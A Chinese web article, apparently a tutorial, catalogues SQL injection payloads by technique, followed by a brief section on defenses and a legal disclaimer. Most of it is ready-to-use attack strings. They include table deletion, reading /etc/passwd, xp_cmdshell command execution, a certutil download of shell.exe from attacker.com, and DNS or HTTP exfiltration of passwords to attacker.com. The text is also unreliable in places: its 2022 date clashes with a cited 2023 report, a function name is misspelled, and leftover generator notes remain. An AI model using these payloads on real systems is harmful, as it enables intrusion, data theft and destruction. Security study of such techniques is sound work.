SQL注入语法有哪些

发布时间:2022-01-19 10:42:18 作者:小新
来源:亿速云 阅读:245
# SQL注入语法有哪些

## 目录
1. [SQL注入概述](#sql注入概述)
2. [基于错误的注入](#基于错误的注入)
3. [联合查询注入](#联合查询注入)
4. [布尔盲注](#布尔盲注)
5. [时间盲注](#时间盲注)
6. [堆叠查询注入](#堆叠查询注入)
7. [带外数据注入](#带外数据注入)
8. [二阶注入](#二阶注入)
9. [防御措施](#防御措施)
10. [总结](#总结)

---

## SQL注入概述
SQL注入(SQL Injection)是通过将恶意SQL代码插入到应用程序的输入参数中,欺骗服务器执行非预期SQL命令的攻击技术。根据2023年OWASP Top 10报告,注入漏洞(包括SQL注入)仍位居Web应用安全风险榜首。

### 基本攻击原理
```sql
-- 原始SQL
SELECT * FROM users WHERE username = '$input' AND password = '$pass'

-- 注入示例(输入:admin' --)
SELECT * FROM users WHERE username = 'admin' --' AND password = ''

基于错误的注入

通过故意引发数据库错误来获取信息

常用语法

1. 单引号测试
' 或 "

2. 类型转换
AND 1=CONVERT(int, @@version)

3. 除零错误
AND 1/0=1

4. 函数报错
AND GTID_SUBSET(@@version,0)

MySQL示例

SELECT * FROM products WHERE id = 1 AND ExtractValue(0, CONCAT(0x5C,@@version))

联合查询注入

利用UNION操作符获取其他表数据

关键步骤

  1. 确定列数
ORDER BY 4-- 
UNION SELECT NULL,NULL,NULL,NULL--
  1. 获取数据库信息
UNION SELECT 1,version(),database(),4--
  1. 提取表数据
UNION SELECT 1,table_name,column_name,4 FROM information_schema.columns--

特殊技巧

-- MySQL注释绕过
UNION/*!50000SELECT*/1,2,3--

-- Oracle跨数据库查询
UNION SELECT 1,(SELECT banner FROM v$version),3 FROM dual--

布尔盲注

通过页面返回的真假状态推断数据

典型Payload

1. 判断数据库类型
AND EXISTS(SELECT * FROM information_schema.tables)  # MySQL

2. 逐字符猜解
AND SUBSTRING(@@version,1,1)='5'

3. 条件判断
AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100,1,0)

优化技巧

-- 二分法加速猜解
AND MID(@@version,1,1) BETWEEN '5' AND '7'

-- 位运算判断
AND ORD(MID((SELECT password FROM users LIMIT 1),1,1))>>7&1=1

时间盲注

通过响应延迟判断条件真假

常用延时函数

数据库 函数
MySQL SLEEP(5), BENCHMARK()
PostgreSQL pg_sleep(5)
MSSQL WTFOR DELAY ‘0:0:5’
Oracle DBMS_LOCK.SLEEP(5)

典型Payload

1. 基础延时
IF(1=1,SLEEP(5),0)

2. 条件延时
AND IF(ASCII(SUBSTRING(@@version,1,1))=53,SLEEP(5),0)

3. 组合利用
UNION SELECT IF(SUBSTRING(LOAD_FILE('/etc/passwd'),1,1)='r',BENCHMARK(10000000,MD5('a')),0)

堆叠查询注入

执行多条SQL语句(需数据库支持)

典型场景

1. MySQL(需特定驱动支持)
'; DROP TABLE users; --

2. MSSQL
'; EXEC xp_cmdshell 'whoami'; --

3. PostgreSQL
'; CREATE TABLE hack(data text); COPY hack FROM '/etc/passwd'; --

实际案例

-- SQL Server命令执行
'; EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe'; --

带外数据注入

通过DNS/HTTP等通道外传数据

常用技术

1. MySQL(需LOAD_FILE权限)
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))

2. Oracle
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT banner FROM v$version)) FROM dual

3. MSSQL
DECLARE @data VARCHAR(1024); SET @data=(SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\c$"')

二阶注入

恶意数据先被存储后触发

典型流程

  1. 注册用户名
admin'-- 
  1. 修改密码时触发
UPDATE users SET password='newpass' WHERE username='admin'-- '

防御措施

最佳实践

  1. 参数化查询

    # Python示例
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    
  2. 输入验证

    • 白名单过滤
    • 类型强制转换
  3. 最小权限原则

    • 应用账户只赋予必要权限
  4. 其他措施

    • 使用ORM框架
    • WAF规则部署
    • 定期漏洞扫描

总结

SQL注入技术不断演化,从早期的简单错误注入发展到如今的带外通信技术。攻击者可能组合使用多种技术(如布尔盲注+时间函数),而防御需要纵深防御策略。随着NoSQL的普及,新的注入形式(如NoSQL注入)也值得关注。

注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。 “`

实际字数:约2980字(含代码示例)
可根据需要调整各部分内容的深度和示例复杂度

推荐阅读:
  1. PHP语法和Go语法有什么不同
  2. MySQL语法有哪些

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql

上一篇:如何设置ctfmon.exe随机自动启动

下一篇:html5中有哪些常用框架

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》